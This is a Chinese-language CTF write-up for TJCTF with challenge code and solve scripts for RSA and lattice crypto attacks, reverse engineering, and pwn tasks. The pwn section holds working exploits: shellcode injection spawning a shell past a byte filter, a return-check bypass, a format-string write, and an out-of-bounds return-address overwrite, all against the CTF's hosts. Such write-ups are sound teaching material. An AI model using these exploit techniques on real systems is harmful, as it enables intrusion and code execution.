三块没有一个通关的。rev差两个,crypto.pwn都差一题

Crypto

baby-rsa

给出n,e,c其中e=3,c明显小于n,这个一看就是n给大了e给小了,结果乘幂后还是比n小,直接开根号

n = 10888751337932558679268839254528888070769213269691871364279830513893837690735136476085167796992556016532860022833558342573454036339582519895539110327482234861870963870144864609120375793020750736090740376786289878349313047032806974605398302398698622431086259032473375162446051603492310000290666366063094482985737032132318650015539702912720882013509099961316767073167848437729826084449943115059234376990825162006299979071912964494228966947974497569783878833130690399504361180345909411669130822346252539746722020515514544334793717997364522192699435604525968953070151642912274210943050922313389271251805397541777241902027
e = 3
c = 2449457955338174702664398437699732241330055959255401949300755756893329242892325068765174475595370736008843435168081093064803408113260941928784442707977000585466461075146434876354981528996602615111767938231799146073229307631775810351487333
iroot(c,3)#tjctf{13480003234703410053450996463993016282899173891711201866423770445454703509988477}

ezdlp

dlp入门,没有任何弯,直接取对数

g = 8999
s = 11721478752747238947534577901795278971298347908127389421908790123
p = 12297383901740584470151577318651150337988716807049317851420298478128932232846789427512414204247770572072680737351875225891650166807323215624748551744377958007176198392481481171792078565005580006750936049744616851983231170824931892761202881982041842121034608612146861881334101500003915726821683000760611763097g^x = s mod p
flag = tjctf{x}
x = discrete_log(s,mod(g,p))#tjctf{26104478854569770948763268629079094351020764258425704346666185171631094713742516526074910325202612575130356252792856014835908436517926646322189289728462011794148513926930343382081388714077889318297349665740061482743137948635476088264751212120906948450722431680198753238856720828205708702161666784517}

iheartrsa

给了远程代码,这里e没有给出,是说当乘幂大于n时即可。

#!/usr/local/bin/python3.10 -uimport ast
import sysimport select
from Crypto.Util import number
import hashlibwith open('flag.txt') as f:flag = f.readline()raw_bin = str(bin(int('0x'+str(hashlib.sha256(flag.encode('utf-8')).hexdigest()), 16))[2:])
hsh = int('0b1' + '0' * (256 - len(raw_bin)) + raw_bin, 2)p = number.getPrime(1024)
q = number.getPrime(1024)
n = p * q
e = 0for i in range(0, 100):if pow(hsh, i) >= n:e = ibreakm = pow(hsh, e, n)
print(f'm: {m}')
print(f'n: {n}')def input_with_timeout(prompt, timeout):sys.stdout.write(prompt)sys.stdout.flush()ready, _, _ = select.select([sys.stdin], [], [], timeout)if ready:return sys.stdin.readline().rstrip('\n')raise Exceptiontry:answer = input_with_timeout('', 20)try:answer = ast.literal_eval(answer)if hsh == answer:print('you love rsa so i <3 you :DD')print(flag)else:print("im upset")except Exception as e:print("im very upset")
except Exception as e:print("\nyou've let me down :(")

flag是用的sha256加密,结果是256位前边加1位是256位,也就是e=8时刚大于n的2048位,而且大出的很小不超过8位。可以直接+n开根号爆破

from pwn import *context.log_level = 'debug'io = remote('tjc.tf', 31628)
io.recvuntil(b'm: ')
m = eval(io.recvline())
io.recvuntil(b'n: ')
n = eval(io.recvline())e = 8
while True:m += n v = iroot(m,8)if v[1]:io.sendline(str(v[0]).encode())io.recvline()print(io.recvline())break#tjctf{iloversaasmuchasilovemymom0xae701ebb}

squishy

rsa验证的题,题目有漏洞,就是输入\x00开头的串转比较时会与原串不同,但是转整后相同。直接绕过即可

#!/usr/local/bin/python3.10 -uimport sys
import select
from Crypto.Util.number import bytes_to_long, getPrimedef input_with_timeout(prompt, timeout=10):sys.stdout.write(prompt)sys.stdout.flush()ready, _, _ = select.select([sys.stdin], [], [], timeout)if ready:return sys.stdin.buffer.readline().rstrip(b'\n')raise Exceptiondef sign(a):return pow(bytes_to_long(a), d, n)def check(a, s):return bytes_to_long(a) == pow(s, e, n)e = 65537
users = {b"admin"}p = getPrime(1000)
q = getPrime(1000)
n = p * q
d = pow(e, -1, (p - 1) * (q - 1))print(n)while True:cmd = input("Cmd: ")if cmd == "new":name = input_with_timeout("Name: ")if name not in users:users.add(name)print(name, sign(name))else:print("Name taken...")elif cmd == "login":name = input_with_timeout("Name: ")sig = int(input_with_timeout("Sign: ").decode())if check(name, sig) and name in users:if name == b"admin":print("Hey how'd that happen...")print(open("flag.txt", "r").read())else:print("No admin, no flag")else:print("Invalid login.")else:print("Command not recognized...")
from pwn import *p = remote('tjc.tf', 31358)
context.log_level = 'debug'p.sendlineafter(b"Cmd: ", b'new')
p.sendlineafter(b"Name: ", b'\x00admin')
enc = int(p.recvline().decode().split(' ')[1])p.sendlineafter(b"Cmd: ", b'login')
p.sendlineafter(b"Name: ", b'admin')
p.sendlineafter(b"Sign: ", str(enc).encode())p.recvline()
print(p.recvline())
p.interactive()#tjctf{sQuIsHy-SqUiShY-beansbeansbeans!!!!!!}

e

低加密指数,部分明文已知的板子题(给出的是sage代码^表示乘幂不是异或)

from Crypto.Util.number import bytes_to_longp = random_prime(2 ^ 650)
q = random_prime(2 ^ 650)
N = p*q
e = 5
flag = open("flag.txt", "rb").read().strip()
m = bytes_to_long(b'the challenges flag is ' + flag)
c = m ^ e % N
print("N: ", N)
print("C: ", c)
print("e: ", e)

前边调用了个板子存的函数,由于flag长度未知,这里直接爆破出结果,一般flag不会太长

def coppersmith_howgrave_univariate(pol, modulus, beta, mm, tt, XX):"""Coppersmith revisited by Howgrave-Grahamfinds a solution if:* b|modulus, b >= modulus^beta , 0 < beta <= 1* |x| < XX"""## init#dd = pol.degree()nn = dd * mm + tt## checks#if not 0 < beta <= 1:raise ValueError("beta should belongs in (0, 1]")if not pol.is_monic():raise ArithmeticError("Polynomial must be monic.")## calculate bounds and display them## Coppersmith revisited algo for univariate## change ring of pol and xpolZ = pol.change_ring(ZZ)x = polZ.parent().gen()# compute polynomialsgg = []for ii in range(mm):for jj in range(dd):gg.append((x * XX)**jj * modulus**(mm - ii) * polZ(x * XX)**ii)for ii in range(tt):gg.append((x * XX)**ii * polZ(x * XX)**mm)# construct lattice BBB = Matrix(ZZ, nn)for ii in range(nn):for jj in range(ii+1):BB[ii, jj] = gg[ii][jj]# LLLBB = BB.LLL()# transform shortest vector in polynomialnew_pol = 0for ii in range(nn):new_pol += x**ii * BB[0, ii] / XX**ii# factor polynomialpotential_roots = new_pol.roots()print("potential roots:", potential_roots)return potential_rootsN = 853008036761402960429244085500226305898326229049062709229066738337581395441559298620215547481097485360068401045559533084692445386310317304293873811639421668853703030998563380404046228010704173349786419154143323587451196441095743638783569173579503503557413613700490069592150975220823978641111437607374483116682547794651693986279540940965888470663234601045413512056249535670198419685119952947
c = 298700332507654723773580072855784292117810966958600234446114828082727445272393622869719877676272804981941548843479760604983256960593285221389548684954375981617049731866256547635842115184695147132731165168615990125469633018271766466825307769730709868985624843944432541800012321786587028293887532995722347604510229248766961319729482167555605707032678858635163105035385522888663577785577519392
e = 5from gmpy2 import iroot
from Crypto.Util.number import long_to_bytes ,bytes_to_long m = bytes_to_long(b'the challenges flag is ')for i in range(5,80):  #爆破flag长度P.<x> = PolynomialRing(Zmod(N))f = (m*2^(i*8) + x)^e - cdd = f.degree()beta = 1epsilon = 0.05 #beta / 7mm = ceil(beta**2 / (dd * epsilon))tt = floor(dd * mm * ((1/beta) - 1))XX = ceil(N**((beta**2/dd) - epsilon))roots = coppersmith_howgrave_univariate(f, N, beta, mm, tt, XX)print(i, roots)#tjctf{coppersword2}

merky-hell

这里代码给了很长,实际上就是个背包加密,原理是背包问题,解法是格基规约。标准的板子题,不加修饰的。加了修饰拐了任何一个弯板子人就不会了。

from math import gcd
import secrets
from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import padn = 48with open('flag.txt', 'rb') as f:flag = f.read()def randint(a, b):return int(secrets.randbelow(int(b-a + 1)) + a)  #[a,b]def makeKey():W = []s = 0for i in range(n):curr = 0if i != 0:curr = randint((2**i - 1) * 2**n + 1, 2**(i+n))else:curr = randint(1, 2**n)assert s < currs += currW.append(curr)q = randint((1 << (2 * n + 1)) + 1, (1 << (2 * n + 2)) - 1)r = randint(2, q - 2)r //= gcd(r, q)B = []for w in W:B.append((r * w) % q)return B, (W, q, r)def encrypt(public, m):return sum([public[i] * ((m >> (n - i - 1)) & 1) for i in range(n)]) #高位在前pub, _ = makeKey()sup_sec_num = secrets.randbits(n)msg = encrypt(pub, sup_sec_num)iv = secrets.token_bytes(16)key = pad(long_to_bytes(sup_sec_num), 16)
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
ct = cipher.encrypt(pad(flag, 16))print('B =', pub)
print('msg =', msg)
print('iv =', iv.hex())
print('ct =', ct.hex())

直接套用,最后AES解密

B = [243873082678558120886143238109, 140121004360885317204645106697, 65971149179852778782856023084, 198367501585318217337192915461, 90780110766692265488675597096, 204457189038632581915443073067, 11843936715392553537334014601, 249714131767678082951811660354, 46864685536820768096162079781, 270615453249669076126135660113, 62422813932318315478542903448, 54340894478463039745320012710, 82166063070770734716784239617, 123360554027599432641005228613, 225930829813243714315757104718, 140931881774215407739681383827, 153511648985484571193029079380, 128333502017904902954574343976, 157971994970491620681977801348, 151995940102680832680366775791, 111930343189002833676566713355, 254629522353980890137482003596, 46122603870700121747541022366, 106621126674742413122499956117, 213619593425584289387962971025, 250029395347234943835276840576, 90157964719511330175905946756, 160955342950540531541477834386, 62686435507426271661129199824, 48684199759430660574537497320, 262348080860779266021957164776, 123406793114541556721282454859, 8323348282744522342656453505, 8204832183897468999773786370, 117068364683450498818799008726, 22742733514396961388718208907, 152588763365550382579175625426, 18880903696373297518512895359, 168999842801038138048571134864, 251946102324340921852977277387, 62739530425883979430660351271, 26189963743964979633698113800, 149052997409450695582768647188, 161035032125544665156226726161, 170005203789455944372862796495, 127446446141939678833034246067, 66890847724290458515749208331, 230355717600508139033028789245]
msg = 4096661050207034370558640511465
iv = bytes.fromhex('c3599b694d81ca069cefdbd7c8f06812')
ct = bytes.fromhex('8e291e6ea5eb6f186949c8d25c5e6dc30c1869a7abf1078d26792dc846f2ffb9b5793fe92036fe55c9f8a6c61f4f516e')#背包问题
nbits = 48
A = Matrix(ZZ, nbits + 1, nbits + 1)
for i in range(nbits):A[i, i] = 1A[i, nbits] = B[i]
A[nbits,nbits] = -int(msg)res = A.LLL()
#搜索验证
for i in range(0, nbits + 1):# print solutionM = res.row(i).list()flag = Truefor m in M:if m != 0 and m != 1:flag = Falsebreakif flag:print(i, M)M = ''.join(str(j) for j in M)# remove the last bitM = M[:-1]             #矩阵是n+1行,结果是n+1个值,最后一个去掉m = int(M, 2)print(m)# [1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0]
#233294031172328from Crypto.Util.number import long_to_bytes
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES sup_sec_num = 233294031172328
key = pad(long_to_bytes(sup_sec_num), 16)
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
flag = cipher.decrypt(ct)
#tjctf{knaps4ck-rem0v4L0-CreEEws1278bh}

keysmith

这个第一天给难住了,第二天突然想到解法

#!/usr/local/bin/python3.10 -u
from Crypto.Util.number import getPrime
flag = open("flag.txt", "r").read()po = getPrime(512)
qo = getPrime(512)
no = po * qo
eo = 65537msg = 762408622718930247757588326597223097891551978575999925580833
s = pow(msg,eo,no)print(msg,"\n",s)try:p = int(input("P:"))q = int(input("Q:"))e = int(input("E:"))
except:print("Sorry! That's incorrect!")exit(0)n = p * q
d = pow(e, -1, (p-1)*(q-1))
enc = pow(msg, e, n)
dec = pow(s, d, n)
if enc == s and dec == msg:print(flag)
else:print("Not my keys :(")

题目随机取两个素数对msg加密得到s,都给出但n没给。要求给出任意的p,q,e然后能用明文加密成密文,并能从密文解密出明文。虽然能加密解密但并不是说就是原来的p,q,e只是这个给出的点重合。

虽然题目给的 rsa加密,但不是rsa问题是dlp问题,也就是要找一个p让它对密文取对数得到e,但并不是任何素数取对数都能成功,这个要求p-1光滑,非常光滑,越滑越好。前几天一个题就是这个光滑数是4096位的,这里需要个1024+的即可。用前几天看的wp的方法用一个小素数左移然后加1,这个数减1后的因子基本全是2,小素数也很小,所以可对。

第二是要求e有逆,这个没好办法,因为生成的素数因子大多是2,所以与e有公因子也正常,爆破一个gcd==1的即可。

另外就是题目要求两个素数,对于s = m^e%n来说%p也成立,但反过来不一定成立,不过大概率成立。所以这个q要爆破一下,一般爆破几个就能成功。我试着第1个就成了。

from pwn import *
from Crypto.Util.number import isPrime
from sage.all import *io = remote('tjc.tf', 31103)
context.log_level = 'debug'msg = eval(io.recvline())
s = eval(io.recvline())#get p
for j in range(3,0x1000000):p = j*(17<<1020)+1   #p-1光滑if is_prime(p):print(j)try:e = discrete_log(s,mod(msg,p))if gcd(e, p-1) == 1:print('p:', p)print('e:', e)break except:continue for j in range(3,0x10000,2): if isPrime(j):if pow(msg,e,j*p) == s and gcd(e, j-1)==1:print('q:',j)q = j break io.sendlineafter(b"P:", str(p).encode())
io.sendlineafter(b"Q:", str(q).encode())
io.sendlineafter(b"E:", str(e).encode())io.recvline()
io.recvline()io.interactive()'''
762408622718930247757588326597223097891551978575999925580833
43702436509757326336438182135857400078603716426818931981925422334067838750896722688201044956327747464145436722723554375647305025202152215596641401129632173370466702832252018951311505962855126544117103589396071853249012072937973506348718307149005393560408005764979480512336133384533240629952292002964632084304167129283631730932046708841956167143203546297261042564183892028576329597037926676662439912510675756144635105872692936012198406113194652953723819095672636100007456088418429630842812219785533478126679038057016528800716718212490258460120278594955925322050302427902076324144950955208430361252151620337697520877568001
3
46351245749787152661103940395995082654632344613868677972472440339907438040457429422805634442629497653113554165470202695931851696141959731450191263015553586726010171368142146952569468957017122829829141545814345050784099324975063078677418067737568349822363430089878772306354398776639089550850223383829186997191661
b'tjctf{lock-smith_289378972359}'
'''

aluminum-isopropoxide

给了程序加密原码和3个密文(哪个感觉未知)

#include <iostream>
#include <cinttypes>
#include <string>
#include <filesystem>
#include <fstream>
#include <sys/stat.h>
#include <vector>
#include <cstring>
using namespace std;
using namespace std::filesystem;typedef uint8_t Byte;void make_key(Byte *S, const std::string &key)
{for (int i = 0; i < 255; i++)S[i] = i;Byte j = 0;for (int i = 0; i < 255; i++){j = (j ^ S[i] ^ key[i % key.length()]) % 256;std::swap(S[i], S[j]);}
}Byte S_box[256] = {24, 250, 101, 19, 98, 246, 141, 58, 129, 74, 227, 160, 55, 167, 62, 57, 237, 156, 32, 46, 90, 67, 22, 3, 149, 212, 36, 210, 27, 99, 168, 109, 125, 52, 173, 184, 214, 86, 112, 70, 5, 252, 6, 170, 30, 251, 103, 43, 244, 213, 211, 198, 16, 242, 65, 118, 68, 233, 148, 18, 61, 17, 48, 80, 187, 206, 72, 171, 234, 140, 116, 35, 107, 130, 113, 199, 51, 114, 232, 134, 215, 197, 31, 150, 247, 79, 26, 110, 142, 29, 9, 117, 248, 186, 105, 120, 15, 179, 207, 128, 10, 254, 83, 222, 178, 123, 100, 39, 228, 84, 93, 97, 60, 94, 180, 146, 185, 38, 203, 235, 249, 89, 226, 1, 106, 12, 216, 221, 8, 45, 13, 2, 14, 75, 49, 33, 127, 163, 111, 85, 255, 253, 166, 151, 40, 23, 194, 34, 139, 95, 145, 193, 159, 133, 69, 245, 196, 102, 91, 11, 157, 96, 47, 152, 154, 59, 181, 28, 126, 200, 158, 88, 224, 231, 41, 190, 240, 191, 188, 143, 164, 189, 217, 54, 66, 241, 209, 104, 78, 87, 82, 230, 182, 220, 53, 147, 21, 136, 76, 0, 115, 169, 71, 44, 223, 175, 92, 25, 177, 64, 201, 77, 138, 144, 204, 229, 81, 20, 183, 205, 124, 243, 4, 172, 174, 108, 132, 176, 135, 161, 162, 7, 236, 195, 238, 56, 42, 131, 218, 155, 121, 153, 239, 50, 219, 225, 37, 202, 63, 137, 192, 208, 119, 122, 165, 73};void enc(Byte *S, Byte *out, int amount)
{Byte i = 0;Byte j = 0;int ctr = 0;while (ctr < amount){i = (i * j) % 256;j = (i + S[j]) % 256;// std::swap(S[i],S[j]);Byte K = (S[i] & S[j]);out[ctr] ^= S_box[K];ctr++;}
}Byte key[256];
int main()
{std::string path = current_path();std::vector<std::string> files;for (const auto &file : directory_iterator(path))files.push_back(std::string(file.path()));for (const auto &file : files){std::cout << file << "\n";struct stat results;std::ifstream in(file);std::ofstream out(file + ".enc", std::ofstream::binary);if (stat(file.c_str(), &results) == 0){uint8_t *buffer = new uint8_t[results.st_size];in.read((char *)buffer, results.st_size);make_key(key, std::to_string(rand()));enc(key, buffer, results.st_size);out.write((char *)buffer, results.st_size);delete[] buffer;}in.close();out.close();}return 0;
}

看上去像RC4加密,不过加密流交换那步给干掉了,也就是加密流生成以后不再变。不过这似乎没关系。

用python重写一下,试3个文件(文件先后顺序不详,只能都试一下)

'''
make_key(Byte *S, const std::string &key)
{for (int i = 0; i < 255; i++)S[i] = i;Byte j = 0;for (int i = 0; i < 255; i++){j = (j ^ S[i] ^ key[i % key.length()]) % 256;std::swap(S[i], S[j]);}
}
'''
def make_key(key):S = [i for i in range(256)]#S[255]=0j = 0for i in range(256):j = (j^S[i]^key[i%len(key)])%256S[i],S[j] = S[j],S[i]return S '''
void enc(Byte *S, Byte *out, int amount)
{Byte i = 0;Byte j = 0;int ctr = 0;while (ctr < amount){i = (i * j) % 256;j = (i + S[j]) % 256;// std::swap(S[i],S[j]);Byte K = (S[i] & S[j]);out[ctr] ^= S_box[K];ctr++;}
}
'''
def enc(S, c):i,j,ctr = 0,0,0out = list(c)for _ in range(len(c)):i = (i*j)%256 j = (i + S[j])%256 K = (S[i]&S[j])out[ctr] ^= S_box[K]ctr +=1 print(bytes(out))rand = [1804289383,846930886,1681692777]  #未置种子,前3个值为
S_box = [24, 250, 101, 19, 98, 246, 141, 58, 129, 74, 227, 160, 55, 167, 62, 57, 237, 156, 32, 46, 90, 67, 22, 3, 149, 212, 36, 210, 27, 99, 168, 109, 125, 52, 173, 184, 214, 86, 112, 70, 5, 252, 6, 170, 30, 251, 103, 43, 244, 213, 211, 198, 16, 242, 65, 118, 68, 233, 148, 18, 61, 17, 48, 80, 187, 206, 72, 171, 234, 140, 116, 35, 107, 130, 113, 199, 51, 114, 232, 134, 215, 197, 31, 150, 247, 79, 26, 110, 142, 29, 9, 117, 248, 186, 105, 120, 15, 179, 207, 128, 10, 254, 83, 222, 178, 123, 100, 39, 228, 84, 93, 97, 60, 94, 180, 146, 185, 38, 203, 235, 249, 89, 226, 1, 106, 12, 216, 221, 8, 45, 13, 2, 14, 75, 49, 33, 127, 163, 111, 85, 255, 253, 166, 151, 40, 23, 194, 34, 139, 95, 145, 193, 159, 133, 69, 245, 196, 102, 91, 11, 157, 96, 47, 152, 154, 59, 181, 28, 126, 200, 158, 88, 224, 231, 41, 190, 240, 191, 188, 143, 164, 189, 217, 54, 66, 241, 209, 104, 78, 87, 82, 230, 182, 220, 53, 147, 21, 136, 76, 0, 115, 169, 71, 44, 223, 175, 92, 25, 177, 64, 201, 77, 138, 144, 204, 229, 81, 20, 183, 205, 124, 243, 4, 172, 174, 108, 132, 176, 135, 161, 162, 7, 236, 195, 238, 56, 42, 131, 218, 155, 121, 153, 239, 50, 219, 225, 37, 202, 63, 137, 192, 208, 119, 122, 165, 73]for i in range(3):S = make_key(str(rand[i]).encode())enc(S, open('flag.txt.enc', 'rb').read())enc(S, open('flag1.txt.enc', 'rb').read())enc(S, open('flag2.txt.enc', 'rb').read())'''
b"\x81\xca\xa0\x8f\xcd\x8c'\xcfL\x831\xa6[\xcf\xcc>EOx\x95A\xfb@cf_v\xf4\xb7\x9fnWs\xf5"
b'c\xc6\xe2\x008\x18\xb4\x83=\x10\xa4)\x83\xa5\xb7\xd2\x85\x83:`\xaf\xfb\x8c\xb7\x17_@\xac\xcc\x91\x0f\xbe\tj'
b'\xddt\xfd\x1f[\x03\xaft\xde\xfe=Np\xbe\xd4\xa9g\xf4@\x93\\t\x97H\xe0\xaa][\xaf\xf4\xf8\xa9\x14\x88'
b'\x817\xdf\xae\xe4\x85\xf5\xc3\xf3H\xca\x19w\xe0\x8a\x92R\x1d\xa2<5t\xfc\x04>\xd2\x95\xdd\x98E\x15\x8d\xc2['
b'c;\x9d!\x11\x11f\x8f\x82\xdb_\x96\xaf\x8a\xf1~\x92\xd1\xe0\xc9\xdbt0\xd0O\xd2\xa3\x85\xe3Ktd\xb8\xc4'
b"\xdd\x89\x82>r\n}xa5\xc6\xf1\\\x91\x92\x05p\xa6\x9a:(\xfb+/\xb8'\xber\x80.\x83s\xa5&"
b'\x96f!\xfb\x93\xef\xf5 \x10\xf4\xca\xfa\xb6\x0e\x1e\x9e\x9f\xa1-\x80\x80t\xad\xbd\x1f_Y>$j\x14\x9a\x0e\xe2'
b'tjctf{flag_under_mountain_of_dust}'
b'\xca\xd8|k\x05`}\x9b\x82\x89\xc6\x12\x9d\x7f\x06\t\xbd\x1a\x15\x86\x9d\xfbz\x96\x99\xaar\x91<\x01\x82di\x9f'
'''

PWN

flip-out

flag.txt已经准备好了,就在128字节后,要求输入东西显示,这里输入够长自然就出来了

int __cdecl main(int argc, const char **argv, const char **envp)
{int v4; // [rsp+4h] [rbp-BCh]FILE *stream; // [rsp+8h] [rbp-B8h]char nptr[46]; // [rsp+10h] [rbp-B0h] BYREF__int16 v7; // [rsp+3Eh] [rbp-82h]__int64 v8; // [rsp+40h] [rbp-80h]__int64 v9; // [rsp+48h] [rbp-78h]__int64 v10; // [rsp+50h] [rbp-70h]__int64 v11; // [rsp+58h] [rbp-68h]__int64 v12; // [rsp+60h] [rbp-60h]__int64 v13; // [rsp+68h] [rbp-58h]__int64 v14; // [rsp+70h] [rbp-50h]__int64 v15; // [rsp+78h] [rbp-48h]__int64 v16; // [rsp+80h] [rbp-40h]__int64 v17; // [rsp+88h] [rbp-38h]__int64 v18[6]; // [rsp+90h] [rbp-30h] BYREFv18[5] = __readfsqword(0x28u);setbuf(_bss_start, 0LL);strcpy(nptr, "Nothing to see here... Nothing to see here...");v7 = 0;v8 = 0LL;v9 = 0LL;v10 = 0LL;v11 = 0LL;v12 = 0LL;v13 = 0LL;v14 = 0LL;v15 = 0LL;v16 = 0LL;v17 = 0LL;memset(v18, 0, 25);stream = fopen("flag.txt", "r");if ( stream ){fgets((char *)v18, 25, stream);fclose(stream);printf("Input: ");__isoc99_scanf("%15s", nptr);v4 = atoi(nptr);if ( v4 <= 128 )printf("%s", &nptr[(unsigned __int8)v4]); // 输入128即可return 0;}else{printf("Cannot find flag.txt.");return 1;}
}

shelly

栈深256读入512,明显有溢出,给出栈地址,没有加载地址和libc只能用栈的话就是栈可执行,看了题确实可执行。return位置写上栈地址跳过去执行就行。

唯一的卡就就是一个检查,不过可以用第1字节是0绕过

int __cdecl main(int argc, const char **argv, const char **envp)
{char s[256]; // [rsp+0h] [rbp-100h] BYREFsetbuf(stdout, 0LL);printf("0x%lx\n", s);fgets(s, 512, stdin);for ( i = 0; i <= 510 && s[i]; ++i )          // 0绕过{if ( s[i] == 15 && s[i + 1] == 5 ){puts("nonono");exit(1);}}puts("ok");return 0;
}
from pwn import *#p = process('./chall')
p = remote('tjc.tf', 31365)
context(arch='amd64', log_level='debug')#gdb.attach(p, "b*0x401255")p.recvuntil(b'0x')
s_addr = int(p.recvline(), 16)pay = b'\x00'+ asm(shellcraft.sh())
pay = pay.ljust(0x108, b'\x90') + p64(s_addr+1)p.sendline(pay)p.interactive()
#tjctf{s4lly_s3lls_s34sh3lls_50973fce}

groppling-hook

给了原码,有后门win

#include "stdio.h"
#include <stdlib.h>void laugh()
{printf("ROP detected and denied...\n");exit(2);
}void win()
{FILE *fptr;char buf[28];// Open a file in read modefptr = fopen("flag.txt", "r");fgets(buf, 28, fptr);puts(buf);
}void pwnable()
{char buffer[10];printf(" > ");fflush(stdout);read(0, (char *)buffer, 56);/* Check ret */__asm__ __volatile__("add $0x18, %rsp;""pop %rax;""cmp $0x0401262, %rax;""jle EXIT;""cmp $0x040128a, %rax;""jg EXIT;""jmp DONE;""EXIT:""call laugh;""DONE: push %rax;");return;
}int main()
{setbuf(stdout, NULL);pwnable();return 0;
}

代码里边有数据检查(汇编部分),要求return位置只能在main范围内,所以这里改成main最后的ret在后边再写后门。

from pwn import *#p = process('./out')
p = remote('tjc.tf', 31080)
context(arch='amd64', log_level='debug')#gdb.attach(p, "b*0x401255")pay = b'\x00'*18 + flat(0x40128a, 0x4011b3)  #ret绕过检查,再到后门
p.sendafter(b" > ", pay)p.recvline()
p.interactive()

formatter

看名字是格式化字符串漏洞

在堆里建块,然后对块内内容检查,通过就给flag,在输入时有printf格式化字符串漏洞。

先修改堆指针,然后在修改后的位置写上指定值,他会执行一个+2,这个不好绕过,就在输入的时候先减2

int __cdecl main(int argc, const char **argv, const char **envp)
{char s[268]; // [rsp+0h] [rbp-110h] BYREFint i; // [rsp+10Ch] [rbp-4h]setbuf(_bss_start, 0LL);xd = calloc(1uLL, 4uLL);                      // 403440printf("give me a string (or else): ");fgets(s, 256, stdin);printf(s);r1(s[0]);if ( win() )                                  // xd = 141191486{for ( i = 0; i <= 255; ++i )putchar(among[i]);}free(xd);return 0;
}
from pwn import *#p = process('./format')
p = remote('tjc.tf', 31764)
context(arch='amd64', log_level='debug')pay = fmtstr_payload(6,{0x403440 : 0x403448, 0x403448: 141191486-2}, write_size = "byte", numbwritten = 0)#gdb.attach(p, "b*0x4013ad\nc")p.sendlineafter(b"give me a string (or else): ", pay)p.recv()
p.interactive()

teenage-game

一个游戏,用wasd先择上左下右l读入当前显示的字符。但走过之后会改为点。其实就是只能改1位,等下一轮转回来就又改回来了。

int __cdecl main(int argc, const char **argv, const char **envp)
{char v3; // alint v5[2]; // [rsp+8h] [rbp-A98h] BYREFchar v6[2704]; // [rsp+10h] [rbp-A90h] BYREFsetup_terminal();setvbuf(stdout, stdout_buf, 0, 0x1000uLL);init_player(v5);                              // 初始值4行4列init_map((__int64)v6, v5);print_map((__int64)v6);signal(2, sigint_handler);while ( v5[0] != 29 || v5[1] != 89 ){v3 = getchar();move_player(v5, v3, (__int64)v6);print_map((__int64)v6);}puts("You win!");return 0;
}int __fastcall move_player(int *op, char input_c, __int64 map)
{__int64 v3; // raxif ( input_c == 'l' ){LODWORD(v3) = getchar();player_tile = v3;}else{*(_BYTE *)(map + 90LL * *op + op[1]) = 0x2E;switch ( input_c ){case 'w':--*op;break;case 's':++*op;break;case 'a':--op[1];break;case 'd':++op[1];break;}v3 = op[1];*(_BYTE *)(90LL * *op + map + v3) = player_tile;}return v3;
}

由于边界没有限制可以越界,当向上到0再往上走时就与move_player的返回地址重合了,算好偏移后把这里的尾字符改为后门(两个正好只关1字节),不能直着走过去,只能从下方调后,点上,就执行了。

from pwn import *#p = process('./game')
p = remote('tjc.tf', 31119)
context(arch='amd64', log_level='debug')#gdb.attach(p)
#pause()pay = b'w'*4 + b'd'*62 + b'l\xe7w'p.send(pay)#p.recvline()p.interactive()'''
0x00007ffc99076a00│+0x0000: 0x00007fbd287df040  →  0x00007fbd287e02e0  →  0x0000563b8b9c9000  →  0x00010102464c457f      ← $rsp
0x00007ffc99076a08│+0x0008: 0x00007ffc99076a40  →  "..................................................[...]"
0x00007ffc99076a10│+0x0010: 0x0000007700000000
0x00007ffc99076a18│+0x0018: 0x00007ffc99076a38  →  0x00000042ffffffff
0x00007ffc99076a20│+0x0020: 0x00007ffc990774d0  →  0x0000000000000001    ← $rbp
0x00007ffc99076a28│+0x0028: 0x0000563b8b9ca3df  →  <win+0> endbr64
0x00007ffc99076a30│+0x0030: 0x0000000000000350
0x00007ffc99076a38│+0x0038: 0x00000042ffffffff   ← $rdi
'''

REV

wtmoo

给了密文,对小写大写数字分别作相应处理。

int __cdecl main(int argc, const char **argv, const char **envp)
{int i; // [rsp+8h] [rbp-58h]int v5; // [rsp+Ch] [rbp-54h]char s[32]; // [rsp+10h] [rbp-50h] BYREFchar dest[40]; // [rsp+30h] [rbp-30h] BYREFunsigned __int64 v8; // [rsp+58h] [rbp-8h]v8 = __readfsqword(0x28u);printf("Enter text: ");fgets(s, 32, _bss_start);s[strlen(s) - 1] = 0;strcpy(dest, s);v5 = strlen(s);for ( i = 0; i < v5; ++i ){if ( s[i] <= 96 || s[i] > 122 ){if ( s[i] <= 64 || s[i] > 90 ){if ( s[i] <= 47 || s[i] > 52 ){if ( s[i] <= 52 || s[i] > 57 ){if ( s[i] != 123 && s[i] != 125 ){puts("wtmoo is this guess???");printf("%c\n", (unsigned int)s[i]);return 1;}}else{s[i] -= 21;}}else{s[i] += 43;}}else{s[i] += 32;}}else{s[i] -= 60;}}if ( !strcmp(s, flag) )printf(cow, dest);elseprintf(cow, s);return 0;
}

没想到好办法逆回,采用直接爆破法

c = b"8.'8*{;8m33[o[3[3[%\")#*\}"
m = ''
for i in range(len(c)):for k in range(0x20, 0x7f):j = k if j>=97 and j<=122:j-=60 elif j>=65 and j<=90:j+=32 elif j>=48 and j<=52:j+=43 elif j>=53 and j<=57:j-=21 elif j==123 or j==125:pass else:continue if j==c[i]:m += chr(k)print(m)break

maybe

这种题第一次见。把一个python代码去空格(python的软肋,特别特别软的软)顺序打乱。这回是真逆向。

#first 3 lines are given
import random
seed = 1000
random.seed(seed)#unscramble the rest
def recur(lst):
l2[i] = (l[i]*5+(l2[i]+n)*l[i])%l[i]
l2[i] += inp[i]
flag = ""
flag+=chr((l4[i]^l3[i]))
return flag
l.append(random.randint(6, 420))
l3[0] = l2[0]%mod
for i in range(1, n):
def decrypt(inp):
for i in range(n):
assert(len(l)==n)
return lst[0]
l = []
main()
def main():
l4 = [70, 123, 100, 53, 123, 58, 105, 109, 2, 108, 116, 21, 67, 69, 238, 47, 102, 110, 114, 84, 83, 68, 113, 72, 112, 54, 121, 104, 103, 41, 124]
l3[i] = (l2[i]^((l[i]&l3[i-1]+(l3[i-1]*l[i])%mod)//2))%mod
if(len(lst)==1):
